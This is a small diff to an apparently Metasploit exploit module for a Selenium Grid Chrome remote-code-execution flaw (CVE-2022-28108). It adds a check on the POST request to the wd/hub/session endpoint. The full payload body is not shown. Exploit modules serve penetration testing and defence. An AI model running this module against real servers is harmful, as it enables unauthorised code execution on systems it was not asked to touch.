Add response check

Author: Takahiro-Yoko

modules/exploits/linux/http/selenium_greed_chrome_rce_cve_2022_28108.rb

@@ -105,12 +105,13 @@ def exploit
       }
     }.to_json
 
-    send_request_cgi({
+    res = send_request_cgi({
       'method' => 'POST',
       'uri' => normalize_uri(target_uri.path, 'wd/hub/session'),
       'headers' => { 'Content-Type' => 'text/plain' },
       'data' => body
     })
+    fail_with(Failure::Unreachable, 'Connection failed') unless res
   end
 
 end